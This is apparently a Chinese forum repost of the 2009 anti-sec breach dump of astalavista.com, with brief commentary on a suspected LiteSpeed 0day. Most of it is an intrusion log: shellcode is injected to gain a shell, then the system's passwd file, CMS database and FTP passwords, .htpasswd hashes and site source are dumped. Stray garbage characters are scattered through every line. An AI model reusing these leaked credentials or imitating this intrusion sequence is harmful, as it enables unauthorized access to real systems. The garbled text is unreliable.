里面两个亮点，一是远程获得apache用户权限的shell，banner是LiteSpeed，看来这玩意有0day，但是又怎么是用apache用户跑的，原来LiteSpeed这东西是和apache绑一起的，大概看了下介绍，主要功能是anti-ddos，这东西貌似还有点意思，回头玩玩。具体的看链接标记[url]http://www.litespeedtech.com/litespeed-web-server-features.html[/url]。
# M% w% u+ N# c' x. T* m
5 X+ ?# q" Z( K6 W$ ][root@front3 ~]# curl -I litespeedtech.com$ |4 j. _; s9 _- z6 a
HTTP/1.1 200 OK
3 P5 d: r5 z" c0 O7 ]: j4 _! DDate: Fri, 05 Jun 2009 22:54:51 GMT' o6 W4 E7 N+ D' X' d
Server: LiteSpeed
3 S) i, m$ F5 p- z
{$ l# q& C# U! P2 ?另外一个亮点就是localroot了，如果不是udev的话，那么就是RHEL5.3 x64还有一个localroot 0day -_-6 s# A5 c5 f# i# w. w
9 U ^8 R; h5 @$ |+ H6 P
有人说astalavista被黑是因为Y拿milw0rm的东西赚钱，这个我觉得就是每个人的尺度问题，有人还把别人写的文章弄成自己写的，还有人把别人的程序改成自己的，多了去了。
3 F8 W( _9 g2 j- Z* w6 t2 \3 _2 s9 V# i/ W8 n. \
# `6 v' c$ l4 a# v: d# r" R0 C/ _ \ / _____/\__ ___/ _ \ | | / _ \ \ / /| |/ _____/\__ ___/ _ \ 8 Q8 Y6 N! ?4 R- a& t/ c" ~
/ /_\ \ \_____ \ | | / /_\ \| | / /_\ \ Y / | |\_____ \ | | / /_\ \1 C3 h; k( j* l/ }0 A/ u; t& T- S
/ | \/ \ | |/ | \ |___/ | \ / | |/ \ | |/ | \
. D8 Z5 T0 e* ^: k\____|__ /_______ / |____|\____|__ /_______ \____|__ /\___/ |___/_______ / |____|\____|__ /# u) M3 L: a+ I$ G
\/ \/ \/ \/ \/ \/ \/) `) j! q$ D( B4 p; P1 N j
The Hacking & Security Community
7 ]3 R& Q- L4 w" q[+] Founded in 1997 by a hacker computer enthusiast
0 T% r8 q9 g! L; |8 a[-] Exposed in 2009 by anti-sec group
# @% I# g3 a9 l9 ?" b8 X$ P8 `! L9 X6 b8 J- Y
From < <b style=”color:black;background-color:#ffff66″>http</b>://<b style=”color:black;background-color:#ffff66″>astalavista</b>.<b style=”color:black;background-color:#ffff66″>com</b>/faq>:
/ w `' ?6 o+ `* Q1 M+ z>> 03. Who’s behind the site?
0 O- J5 P+ [$ ^4 q& _1 D>>' N6 U) s! ?7 [% S3 e+ I8 S; H
>> A team of security and IT professionals, and a countless number of contributors from all over the world.( Z; d w. r: M4 Y: B j9 k/ t
+ }8 Y2 E4 f. f8 E8 s# G
>> 05. Is it true that the site is visited by script-kiddies and warez fans only?9 c0 P3 k: X; I s' E W2 S( D' [
>>
5 W k; _5 ]& R>> Absolutely not! The audience behind the site consists of home users, worldwide companies and corporations, educational and non-profit organizations, government and
8 n$ l) C6 g5 S, @$ ymilitary institutions.
! U% n/ r. g' e' b' b5 s% v>> All of these have been visiting the site on a daily basis for the past couple of years, contributing in various ways, or requesting services and information. m* x* V9 d4 D# n/ O3 ], k4 c
; G8 s5 B9 }+ `4 {5 B, ^. U2 cWhy has Astalavista been targeted?$ ]6 Y5 @ O( S* W
+ g3 v- C2 `- d
Other than the fact that they are not doing any of this for the “community” but: z C3 _% I- R
for the money, they spread exploits for kids, claim to be a security community
. z! T" o/ r1 \' L# N: t0 }! f6 D(with no real sense of security on their own servers), and they charge you $6.66
/ d T, G: t- x! X! X' p, bper months to access a dead forum with a directory filled with public releases
; y; f1 X5 j4 i+ K) J: g1 j$ U! K2 g" f' sand outdated / broken services.
2 k2 {. Y3 y. X% _; c8 c+ H( n/ |- }7 |& Q9 X4 B2 w
We wanted to see how good that “team of security and IT professionals” really is.
, G: n) B, z, n; i( R
& `( K( P# c) ZLet’s begin.4 F2 [5 n6 p1 B1 G& O, q2 R& o! U* R
) J3 n6 f9 U8 q$ z& T# { f! u* Aanti-sec:~# ./g0tshell astalavista.com -p 80
+ g9 H. f1 y$ o& {0 a[+] Connecting to astalavista.com:80
0 I; ]$ E+ I+ \* r5 p" U[+] Grabbing banner…7 S" Z( R7 o. @/ O" A
LiteSpeed: ?- U( U/ D. `3 u
[+] Injecting shellcode…2 u1 G0 T: l7 Y/ a- x4 x
[-] Wait for it
' \; `8 s9 A5 M$ y9 G& B/ o
5 n+ _! H1 y- R% w* b- ~[~] We g0tshell- k0 z o: ^: T9 Q
uname -a: Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
1 a4 \3 [4 R- x# _6 j# c5 XID: uid=100(apache) gid=500(apache) groups=500(apache)
1 b0 ]0 h/ k. ^
& O' j$ B" I$ ~5 @sh-3.2$ cat /etc/passwd* n4 I, ~1 \; [. W3 S) c P
root:x:0:0:root:/root:/bin/bash- d! v/ H( J( ~, h
bin:x:1:1:bin:/bin:/sbin/nologin( i% |4 l+ u2 ?+ m$ o
daemon:x:2:2:daemon:/sbin:/sbin/nologin* V) g3 d9 q' k, ^$ m: N- c: a
adm:x:3:4:adm:/var/adm:/sbin/nologin4 ] o' H/ J) A* n6 P. f4 r
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
! ]0 B0 K l# a1 u) ^+ W* T' Wsync:x:5:0:sync:/sbin:/bin/sync
* [, Q% r7 S$ q! n9 Q/ g7 ushutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
; I; y4 s5 r0 ^1 fhalt:x:7:0:halt:/sbin:/sbin/halt
$ H4 [( m6 w* w. Qmail:x:8:12:mail:/var/spool/mail:/sbin/nologin0 \$ C$ p% e* N4 j9 ]1 u% ^; C
news:x:9:13:news:/etc/news:
/ R' q, l0 x$ U6 y$ Guucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin! D" q+ J q* F: h
operator:x:11:0 perator:/root:/sbin/nologin/ y0 M( P6 ?* d: p2 l+ P
games:x:12:100:games:/usr/games:/sbin/nologin8 I6 U4 C( E- h1 m L' E4 l
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
2 a& p( H8 Y, \# T2 b4 eftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
5 P0 G7 q: g& Snobody:x:99:99:Nobody:/:/sbin/nologin
+ c5 h" O* P+ d/ ^rpm:x:37:37::/var/lib/rpm:/sbin/nologin! `* ~, m+ ^6 s8 z( C
dbus:x:81:81:System message bus:/:/sbin/nologin; V' j: f$ w- k
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin8 r% g ?3 _. Z: k
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
) M' s9 F! ^/ }- z3 Esmmsp:x:51:51::/var/spool/mqueue:/sbin/nologin* F7 @6 ]: Z6 b, d; u5 f
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
( B1 O+ U6 ~8 thaldaemon:x:68:68:HAL daemon:/:/sbin/nologin! U/ a2 Y# @1 v
rpc:x:32:32 ortmapper RPC user:/:/sbin/nologin
' w: ^+ X8 u8 v4 ]. X6 Urpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
- n8 D1 c. Y; M+ u- unfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
! E1 V+ ~/ p, {$ j0 csshd:x:74:74rivilege-separated SSH:/var/empty/sshd:/sbin/nologin
* p% n: L6 G$ ?9 v, b- Cpcap:x:77:77::/var/arpwatch:/sbin/nologin$ V, u& [- f8 O( I' m
named:x:25:25:Named:/var/named:/sbin/nologin
+ W; b5 x; y7 D+ }+ \$ G5 eapache:x:100:500::/var/www:/bin/false
: U# \7 x3 B ^, q( sdiradmin:x:101:101::/usr/local/directadmin:/bin/bash4 q; e% u2 ?! Z: ~7 l3 F; c
mysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash3 ^. C/ U+ O6 e" ?+ W, n
webapps:x:500:501::/var/www/html:/bin/bash
. g9 _% S& [& \* X6 mmajordomo:x:103:2::/etc/virtual/majordomo:/bin/bash
8 y2 x+ `3 u1 s, Z d- N" d& ^' T3 tadmin:x:501:502::/home/admin:/bin/bash
0 ^# ?/ l4 T. b U- Z; r4 T3 Mjon:x:502:503::/home/jon:/bin/bash& z* p6 f, u6 z( r' V
com:x:503:504::/home/com:/bin/bash
4 i' W/ X9 e* antp:x:38:38::/etc/ntp:/sbin/nologin
& r$ ~0 h b; j( e: `5 n& _ais:x:39:39penais Standards Based Cluster Framework:/:/sbin/nologin
! d: ` E* d+ d$ w" `. xastanet:x:504:505::/home/astanet:/bin/bash; K! ]4 M; v3 D" w1 i. S9 F$ ~
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
% G% V0 ]" w# v* `' m: C- E6 [; l% ?4 pavahi-autoipd:x:104:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
$ R M3 l/ H: l2 ~7 v( h3 S
9 s7 k" L, j' E, Q( b' G2 Ush-3.2$ cat /etc/hosts
$ F; g5 q3 R$ C, ?$ H; h- r) q# Do not remove the following line, or various programs
3 ?+ X) V/ N! s* W# that require network functionality will fail.0 P/ ]4 d& r" N5 `
127.0.0.1 localhost.localdomain localhost* h2 A; i$ x. B3 D# W3 d
::1 localhost6.localdomain6 localhost6: ^0 e% Y L" j6 M# [
80.74.154.172 asta1.astalavistaserver.com
8 M9 ]4 `! v- f; t1 h S
! r5 T# }, F5 O. B- Dsh-3.2$ pwd
3 j& `# K ^5 ]/home/com/public_html7 J! t. R% e5 r# w: m. I0 m9 P5 t
2 H& ?# Y$ h5 O
sh-3.2$ ls -la
* l7 ]8 H1 b7 ltotal 18460
. L* Y+ K2 e8 W x. Ydrwxr-xr-x 30 com apache 4096 May 28 17:06 .
8 l+ r# h! F; p0 K! |" z, rdrwx–x–x 11 com com 4096 Jun 25 2008 ..
5 f: J% S" ` |6 ?6 ?* ?drwxr-xr-x 2 com com 4096 Feb 2 19:29 admin) R) U& K* p, G+ S, g' J
drwxrwxrwx 2 com com 18591744 Jun 4 08:04 cache; E: o& X7 R2 J; U! \: ?
drwxr-xr-x 6 com com 4096 Mar 28 21:17 cadmin5 [1 I0 D# j6 r2 ]" [3 f
drwxrwxrwx 2 com com 4096 May 19 00:50 config
: W; C6 e" H( C! t3 ^drwxr-xr-x 2 com com 4096 Mar 20 11:05 core* ^1 n1 a+ O' Z" ^" f; O: G& |
drwxr-xr-x 18 com com 4096 Feb 2 19:29 core_modules
/ Q" t1 I- U2 D$ ^% e) fdrwxr-xr-x 4 com com 4096 Feb 2 19:29 customizing/ m% @1 F% @: v( @8 h6 m
drwxr-xr-x 2 com com 4096 May 11 13:24 customizing_paulo- ^2 R, M. G& }8 q* n* o
drwxr-xr-x 6 com com 4096 Mar 30 12:28 __DELETE__
- B! d" c; y2 ~0 {' x-rw-r–r– 1 com com 8035 May 19 14:26 directory_to_mediadir.php
: r3 `5 X) k( c7 zdrwxr-xr-x 2 com com 4096 Sep 9 2008 dvd
1 O0 j6 `" K' h) C- x; {) g+ b) udrwxr-xr-x 3 com com 4096 Feb 2 19:29 editor* ]5 W; \" t& {$ H
-rw-r–r– 1 com com 3750 Feb 27 16:12 favicon.ico+ ~* M/ O' q% Y; B# m
drwxrwxrwx 2 com com 4096 Jun 4 08:00 feed2 R# e# Q0 q5 j4 Z
-rwxrwxrwx 1 com com 10736 May 29 12:44 .htaccess$ l8 _; b3 \1 \4 ?( x) l
-rw-r–r– 1 com com 7638 Apr 21 08:45 .htaccess.2009-04-21.bak3 h2 Y& B' K4 G2 Q( s* f8 a
-rw-r–r– 1 com com 10768 May 11 11:53 .htaccess.2009-05-11.bak
9 `7 K( _; B: E. Cdrwxr-xr-x 18 com com 4096 Apr 9 2008 ideapool
% ?% y; Z- i& A/ adrwxrwxrwx 14 com com 4096 Feb 2 19:29 images
' K |0 @# ^- b6 U c/ l-rw-r–r– 1 com com 97496 Jun 2 13:01 index.php
" D, u4 C% j* y+ i! ?drwxr-xr-x 6 com com 4096 Feb 2 19:29 installer
% ^! S" Y6 c) [, m; H+ o% Ydrwxr-xr-x 8 com com 4096 Feb 2 19:29 lang
) `7 m% _( l* O g1 @9 Hdrwxr-xr-x 22 com com 4096 Feb 2 19:29 lib
' g: u. S+ x! T9 vdrwxrwxrwx 12 com com 4096 Jun 2 07:47 media
, j+ a# A1 y7 i$ m# l8 H, ndrwxr-xr-x 8 com com 4096 May 11 12:48 modifications
0 U, L% L" m5 H) `drwxr-xr-x 34 com com 4096 May 28 16:30 modules3 M; r$ c ~1 X6 q8 \; R6 s
drwxr-xr-x 11 com com 4096 Jan 30 15:00 _myAdmin
& ]1 S$ R0 \7 I3 ?drwxrwxr-x 22 com com 4096 May 28 17:06 _new! u8 T& G% E& `4 `8 S @
drwxr-xr-x 26 com com 4096 Feb 2 19:27 _old
' A0 \: l0 V# n" B, ^9 ^+ |9 e. ddrwxr-xr-x 2 com com 4096 Mar 30 12:29 phproxy& I6 V. l0 ? E% s$ d9 s$ z
drwxr-xr-x 2 com com 4096 Mar 30 12:30 proxy+ q8 _; W, W1 h2 D+ p. y
-rw-r–r– 1 com com 26 Feb 2 19:33 robots.txt4 m! z1 ^. Y L: \3 M! r% F
-rwxrwxrwx 1 com com 10844 Jun 2 09:50 sitemap.xml8 P1 ~. ^* V' N- X/ L) k
-rw-r–r– 1 com com 223 Mar 30 15:32 test.php
& I6 v7 h0 A4 \, h2 X, B. fdrwxrwxrwx 8 com com 4096 Mar 6 13:15 themes
" R3 r' |/ T/ \) ?6 S, R( C6 Ddrwxrwxrwx 3 com com 4096 Jun 4 08:00 tmp
; Y, r; o3 Q8 Idrwxr-xr-x 3 com com 4096 Feb 2 19:33 webcam2 b# Q# \7 Y% ~. l# ]' ]" M
# g& Y& u& `$ A* Z% Y2 X) s
sh-3.2$ head -20 index.php
; k h- }) i7 U6 y<?php
. y4 ?5 Y. _/ a. ?8 ]* e8 x4 H2 |
( k, Z( P3 L8 |" `/**8 a! ^/ u+ T4 |' c/ p7 L4 y- v
* The main page for the CMS
- d) x' E+ K+ v* @copyright CONTREXX CMS - COMVATION AG/ q* Q$ H3 r; V2 V* q4 W7 H# \/ R
* @author Comvation Development Team; W% ]- d2 T. U( z2 D4 k* e
* @version v1.0.9.10.1 stable
" y) u& Q4 T; u* @package contrexx
# B; L6 [" a' `, J( Q* E- d* @subpackage core) G- m1 Y0 f. K" x, p- W
* @link 链接标记[url]http://www.contrexx.com/[/url] contrexx homepage
& R1 S* U6 e2 {% h* @since v0.0.0.0
) d: B& X3 c9 s8 Z5 P* @todo Capitalize all class names in project, U& f( @4 A1 o0 j9 V, m9 I
* @uses /config/configuration.php8 o+ O; M) C5 b
* @uses /config/settings.php
( x6 Q' g/ j/ O; t. s; H* @uses /config/version.php
2 B7 S# N. P4 F% o" p$ u7 s* @uses /core/API.php
6 n- v+ ^5 d1 R' O- T* @uses /core_modules/cache/index.class.php' y; `& ^: ~8 \6 n. r( l, _6 ~- }
* @uses /core/error.class.php
: c" Y ^; `9 v5 O# [ {* @uses /core_modules/banner/index.class.php
( U6 r4 x5 [) |. C* @uses /core_modules/contact/index.class.php* @/ N* f! Q6 r! R$ m& Y
8 d; N0 r! Y" J) o, C" n: Fsh-3.2$ cd config/
' Q3 k& D: ~- r7 @; \) E6 j, G+ Gsh-3.2$ ls -la2 c$ N5 a4 U1 D* i9 M7 L
total 32
. z" U P3 c1 k. Mdrwxrwxrwx 2 com com 4096 May 19 00:50 .
- t* u, B% O( V1 zdrwxr-xr-x 30 com apache 4096 May 28 17:06 ..2 L; K& y' R( V) F
-rwxrwxrwx 1 com com 2998 May 11 12:29 configuration.php4 p+ k4 Q0 F; a% i' i) c" c6 c8 n: ]
-rwxrwxrwx 1 com com 7610 May 28 17:27 set_constants.php3 w h( k, l$ U6 G- g
-rwxrwxrwx 1 com com 4186 May 25 12:54 settings.php
# ~5 S* B, _" o: N/ L: y-rwxrwxrwx 1 com com 672 Feb 2 19:29 version.php
7 l- p1 g: d2 Y! [8 s. ?# ?! h
sh-3.2$ cat configuration.php+ o! C; A# y; |0 z+ x+ F
[snip]+ E1 h5 R y3 f
$_DBCONFIG['host'] = ‘localhost’; // This is normally set to localhost' C3 E& _9 e2 c% U0 H# S; g5 Y# R' s+ S
$_DBCONFIG['database'] = ‘com_contrexx2_live’; // Database name
5 H# p1 P1 L8 {: w$_DBCONFIG['tablePrefix'] = ‘contrexx_’; // Database table prefix
+ I# @& A, r( L5 f& |$_DBCONFIG['user'] = ‘contrexxuser2′; // Database username' u! M2 v( V4 x- v& e$ n
$_DBCONFIG['password'] = ‘0fEYNZgXz1pKe’; // Database password
* `+ V8 H Q! T& T/ p9 C$_DBCONFIG['dbType'] = ‘mysql’; // Database type (e.g. mysql,postgres ..)
7 e1 r+ U8 z% [( o$_DBCONFIG['charset'] = ‘utf8′; // Charset (default, latin1, utf8, ..): y5 { z) c b! g1 k9 z$ B
[snip]- V, M$ `$ G9 y" C2 P$ n
$_FTPCONFIG['is_activated'] = true; // Ftp support true or false
& ?* q" `; @$ h$_FTPCONFIG['use_passive'] = true; // Use passive ftp mode; a% I; N( g# Q$ o
$_FTPCONFIG['host'] = ‘localhost’;// This is normally set to localhost8 H9 D7 |: s& O
$_FTPCONFIG['port'] = 21; // Ftp remote port
2 I. W7 R- e; n! `" y$_FTPCONFIG['username'] = ‘链接标记dev@astalavista.com’; // Ftp login username
9 g: n0 \7 q- g$_FTPCONFIG['password'] = ‘jajklop0Iuj’; // Ftp login password; s$ V; S( N( G" Y
$_FTPCONFIG['path'] = ‘/’; // Ftp path to cms
$ R1 _( k% Z6 c! w, y. c6 V5 @7 y5 ^" m: s' `+ B# ~
sh-3.2$ cd ..; b1 x, E* q* X* ?. t
sh-3.2$ cd dvd/
+ Q3 Q4 l( m$ }# Ssh-3.2$ ls -la% v/ a! W2 k! I( p
total 2913780, W6 ?; t N. P4 ]* ^; T0 Y
drwxr-xr-x 2 com com 4096 Sep 9 2008 .
; ?( E- X4 C: c- D& hdrwxr-xr-x 30 com apache 4096 May 28 17:06 ..
/ K/ k5 i8 A$ L5 z. @/ a: a/ @7 z-rw-r–r– 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part1.rar
+ n! R X7 u# @) f! i-rw-r–r– 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part2.rar
: c8 y$ j' d a" W-rw-r–r– 1 com com 880644069 May 16 2008 astalavista_security_toolbox_dvd_2008.part3.rar
& E6 k+ `/ y9 C4 ]2 n-rw-r–r– 1 com com 115 Jan 29 2008 .htaccess
% q$ H! U9 m, ?, q
! A8 e* l" v2 a# n7 f$ Ysh-3.2$ cat .htaccess0 Z5 O6 Z7 ]% {" X d1 {# L3 `6 P8 X
authType Basic
5 c j0 J7 _& A/ L- b3 \authName DVD( V/ {4 b) ] E3 q& `) |/ ^
authUserFile /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd' R; i2 z0 E/ f# E
require valid-user
! P% j/ n* A$ ` v2 _8 I/ J! f& N8 E: V3 q; {) z7 ^( K
sh-3.2$ cat /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd
h5 w4 @+ w7 i7 k/ J/ \DVDdownload:CRD8cuY6.MPT6 n# G3 D+ f' w0 g" p$ V
DVDdownload2:CR8a36.wluFMg6 v( e5 ^' b' p5 O
- E0 e& b- v: d+ z$ H6 `
sh-3.2$ cat test.php
1 X- l# c, |# u7 P7 n8 `" `<?php# A7 n9 Q8 C- J/ f) R+ C
$url = ‘aHR0cDovL2kubnVzZWVrLmNvbS9pbWFnZXMvdGVtcGxhdGUvMzYweDMxOC9pc3QyXzc0Njc4MV9mZW1hbGVfc3R1ZGVudC5qcGc%3D’;( B- W% c: |% c6 O
$url = str_replace(array(’&’, ‘&’), ‘&’, base64_decode(rawurldecode($url)));3 L& c6 o; [+ Z+ O8 @1 i
echo $url;
" E- }9 x6 v5 w+ k?>0 T0 q/ F; @' N1 H* d7 c
* J, b8 `0 s) S" T
sh-3.2$ cd modifications/
9 v. C2 Y& e v% n2 N) ysh-3.2$ ls -la
2 ^( R3 V% w* ^3 d: f! y0 Etotal 32
4 x" k, P# {+ Q: p$ o* xdrwxr-xr-x 8 com com 4096 May 11 12:48 .
t w+ A& O$ ]6 Ndrwxr-xr-x 30 com apache 4096 May 28 17:06 ..
. F" L+ i% Z7 W% r6 G0 _: R+ sdrwxr-xr-x 3 com com 4096 Feb 2 19:33 com_avtng
@. J: t0 m9 X6 gdrwxr-xr-x 3 com com 4096 May 12 09:26 cronjobs
4 e. @1 F, k! R; E( X$ U# udrwxr-xr-x 2 com com 4096 Mar 2 10:35 onlinetools
2 g* w% _1 a! c4 [/ n9 ^5 j( tdrwxr-xr-x 4 com com 4096 Feb 2 19:33 pjirc# p9 n: Y( x9 G0 w, V
drwxr-xr-x 2 com com 4096 Feb 2 19:33 search, b, `: z/ }$ I1 [" H
drwxr-xr-x 2 com com 4096 Mar 25 08:56 _tmp; y7 t5 d' \) O+ t
8 n4 U' M3 _& B9 ?- J3 w! Y" {
sh-3.2$ ls -R/ ]- W, d4 o5 D% L8 [' D# J$ v
.:
6 X6 |; s+ R2 x( J+ lcom_avtng cronjobs onlinetools pjirc search _tmp
. Y: p' c+ N* l$ S7 Y: A" [) L
8 L& v& h% f: F6 X& I4 G./com_avtng:
' Z+ A$ X* s$ Javtng.php banner_bottom.inc.php banner_button.inc.php banner_content.inc.php banner_popunder.inc.php banner_right.inc.php banner_top.inc.php iframe.php scripts
5 W( u# S6 V4 n; c+ U) S M+ N+ N! h! Y
./com_avtng/scripts:
+ G. c6 X B3 Y6 g8 f, I- r7 v( {8 Wpopunder.js
8 T% S/ n$ v& G, y/ x2 v. |0 l6 r! O2 h" L3 p4 [0 U
./cronjobs:
; ^& K7 Z% V0 O- D8 _ t& Vexploits.php exploits.sh google_blogindexing.php ip2country.sh proxydb2.php proxydb.php securitynews.php tmp
" U4 E. `7 r/ ^( a+ z1 }% e9 U C+ z9 {. Q& d
./cronjobs/tmp:0 Y+ h& k) K4 X2 r+ _$ }
contrexx_module_onlinetools_defaultports.csv contrexx_module_onlinetools_geolitecity_country.csv6 C0 l; |1 Q" n0 r2 @
$ c. F/ Q% B! U
./onlinetools:
0 Q" @* v' j% ~! b4 g; oindex.php
$ x5 I- o( s% T9 v* j- U2 M5 k, L# e$ j3 U( L% _
./pjirc:
) r8 ?* \9 B7 b3 ]$ o: i2 |9 Na_big.jpg english.lng img irc.jar NormalApplet.html pixx-french.lng pjirc.cfg securedirc-unsigned.cab thanks.txt# l; w. W! [( j$ T! J; M5 Z
AppletWithJS.html french.lng IRCApplet.class irc-unsigned.jar pixx.cab pixx.jar readme.txt SimpleApplet.html versions.txt
* s& U) d) P2 D) Q" c6 C* f. `* \" sbackground.gif HeavyApplet.html irc.cab license.txt pixx-english.lng pixx-readme.txt securedirc.cab snd1 c1 O6 o! o1 X/ U! d0 @: \ A
( x$ H9 I" ?; O! o2 u5 C |& a./pjirc/img:( p$ Q. `+ C4 G3 W' o% r
ange.gif bombe.gif clin-oeuil.gif content.gif enerve2.gif garcon.gif langue.gif mecontent.gif ordi.gif portable.gif sapin.gif triste.gif, g- Z9 W+ K& p2 h, z1 h# G) b
arbre.gif bouche.gif clin-oeuil-langue.gif cool.gif femme.gif grognon.gif lettre.gif newbie.gif pere-noel.gif pouce-non.gif sleep.gif
+ A, b* `% H/ I7 R4 a( J' xverre-eau.gif
4 i: s9 x! n! W0 ~ a B7 aargh.gif bouqin.gif coeur-brise.gif diable.gif fille.gif halloween.gif lit.gif OH-1.gif pleure.gif pouce-oui.gif soleil.gif
' T- L- d3 G; ~2 M& Fverre-vin.gif
; A; `: \# |# U# u! Q1 P1 @ballon.gif cadeau.gif coeur.gif dwchat.gif fleur.gif hamburger.gif love.gif OH-2.gif poisson.gif roll-eyes.gif sourire.gif yinyang.gif
+ Y2 Y3 S4 a3 Ubiere.gif chien.gif comprends-pas.gif enerve1.gif fume.gif homme.gif lune.gif OH-3.gif pomme.gif rouge.gif terre.gif
3 A, Z' ~0 l5 v6 m8 i2 J& h
6 D v% w0 y: r9 q./pjirc/snd:" U3 E/ b! ]. }% ~
bell2.au ding.au* z0 h) j2 k9 P- \ z
X8 y+ m7 \/ J/ x* a% S7 ?7 X. z8 |/ K( A./search:9 y" f; L. I% o. D
searchEngines.php search.php1 e+ s2 t8 I" E
% m: X; ~! X* E
./_tmp:
' s9 u3 j' L$ K1 JdefaultPorts.php defaultPorts.txt2 @! B; ]1 I, |1 P! Z/ t2 }% L
. S ? K0 [ _1 P2 M5 H% Qsh-3.2$ cd cronjobs/
9 M z/ H y9 ^; ?# Gsh-3.2$ cat exploits.php6 N& k( o0 V U' Z+ h* p
[snip]8 I3 }, D" s \/ F4 Q5 p$ F
$categories = array();" y8 `$ d& A1 H' b' L1 V2 J% [
$milw0rmFile = FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/sploitlist.txt’;/ f# [3 k, L4 P( c
$expolits = file($milw0rmFile);
) b& g/ n# [6 g3 S$comExploits = array();
I5 j4 S* G5 x8 S7 @" a6 y[snip]# O) l9 `$ J* M; `. A7 K
// manage data
! K. r# P9 d7 ^$ z- {9 ~' t, j- K3 Dfor ($x = 0; $x < count($expolits); $x++){ // count($expolits) - 2640
& n( v l) A# T7 G! S: s
) z2 E* m* K# k // get path and title
( o W7 F J! k9 t! B1 U $expolits[$x] = trim($expolits[$x]);
6 @; X+ d$ ^1 @- I $path = str_replace(’./’, FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/’, substr($expolits[$x], 0, strpos($expolits[$x], ‘ ‘)));6 r7 Q! A' G0 l! ~; {
$title = htmlspecialchars(substr($expolits[$x], strpos($expolits[$x], ‘ ‘) + 1, strlen($expolits[$x])), ENT_QUOTES);; t W( ?& N& P7 i8 u K$ L
; Z# f. _, V$ @$ I9 K; X; N
// check if file exists4 S- s; ~; Z) w/ g( I4 d
if (file_exists($path)) {
" g+ z) ~* C& M# M% @- n* E6 z& N' I! Z% G
$text = file_get_contents($path);
( x5 R: j! b' [# J6 E x2 g+ o
- p. f, o- b7 J" m- e // get content and date0 z* k/ D f ~' U# U' I4 C
//$text = htmlspecialchars($text, ENT_QUOTES);
' I7 t0 Z# w, G2 { $tmptext = addslashes(htmlentities($text, ENT_QUOTES, “UTF-8″));
8 ^6 {5 N- B$ i: T. p! L if ($tmptext != ”) {
8 A6 f$ t( X/ X( K7 z, o O) _ $text = $tmptext;: |4 d# \* H. X2 Q" W4 x1 H
} else {
, E' u/ x4 X+ x0 e1 @- P $text = addslashes(htmlentities($text, ENT_QUOTES));
u. i H# x0 `9 q }- h7 N' P2 E# d5 j* Q; i2 w
$date = str_replace(’milw0rm.com [', '', str_replace(']‘, ”, strstr($text, ‘milw0rm.com [')));
( W* K+ e( l ~; @. s $tmp = explode('-', $date);
+ W' X+ |. q9 P% p9 o, L $date = mktime(0, 0, 0, trim($tmp[1]), trim($tmp[2]), trim($tmp[0]));
; N/ C! S5 j, ]' l $cat = getCategory ($path);" P# m' ]) ?0 T/ l# F
$ext = pathinfo(basename($path));$ g J2 K2 [+ D
$ext = $ext['extension'];
% M2 G+ x, u* s: @8 L' k& a $qStr = ”
0 C2 W+ V4 i7 } SELECT `id`
' x' j" E, Y& t8 o) R6 f FROM `contrexx_module_exploits`
" X- v- N) {8 w( {& N) O8 W WHERE `title` = ‘” . $title . “‘( `) a, f- H" P$ K" G3 h
AND `date` = ‘” . $date . “‘
# C9 K: I* R4 o. D9 P4 V “;
0 P& t5 {5 Z. d' X/ E echo $x + 1 . ‘ von ‘ . count($expolits) . ‘ -> ‘ . $qStr . “\n”;, q+ w3 h. `8 D0 m6 \5 |( J ]5 F$ K
$q = $_objDB->query($qStr);0 W D. q- Y( R; ]
' f7 q0 e6 i, c0 Y4 x if ($q->numRows() == 0) {
: o! E+ F8 A2 D/ q' Z- }
( d: n3 ]; f7 J8 b8 U // prepare array
" J+ H0 g* d% s* M $comExploits[$x]['date'] = $date;
/ g5 T/ ^$ y9 I; J9 E $comExploits[$x]['title'] = $title; e7 @3 }% J4 V: }: v, a: Y& L4 [
$comExploits[$x]['author'] = ‘milw0rm’;1 c; m% V3 I. C$ _8 E. X
$comExploits[$x]['text'] = $text;! L1 Q: `- w3 R% j( e( [
$comExploits[$x]['source'] = $ext; c6 L4 s/ w3 M. W3 N
$comExploits[$x]['url1'] = ”;
& @1 M$ K. E0 c6 ? $comExploits[$x]['url2'] = ”;6 j0 v& B6 n2 v% o/ u: s
$comExploits[$x]['catid'] = $cat;% l4 T' T' ^. l5 k7 ]3 p
$comExploits[$x]['lang'] = ‘2′;
: L5 a4 l: Z# G $comExploits[$x]['userid'] = ‘12′;
+ H" C" {: P2 l7 y; p; F3 ]6 B $comExploits[$x]['startdate'] = ‘0000-00-00′;# }. q% a+ d# Y, I/ @/ k* w% g
$comExploits[$x]['enddate'] = ‘0000-00-00′;3 U! P7 ?6 x- Y- l% ]# `( d
$comExploits[$x]['status'] = ‘1′;2 |" \' ~- Q+ W! q3 J
$comExploits[$x]['changelog'] = $date;
# ? L# f$ G3 F# j6 u1 j1 n# i( [- Q
}
& F N+ {9 ]' E$ t+ H5 O1 V[snip]
0 V2 g- `) ?( s C $xml = ‘<?xml version=”1.0″ encoding=”UTF-8″?>
" U3 Y0 J3 S/ h5 k/ x<rss version=”2.0″>
8 ^0 c# C. n0 r+ A0 g" D9 y <channel>
" Q5 Q+ h8 g* i+ c0 a <title>ASTALAVISTA.com - Exploits</title>
% {7 o1 a+ _0 s, @5 d: v <link>http://www.astalavista.com/exploits</link>. G* x+ [2 r* b6 A
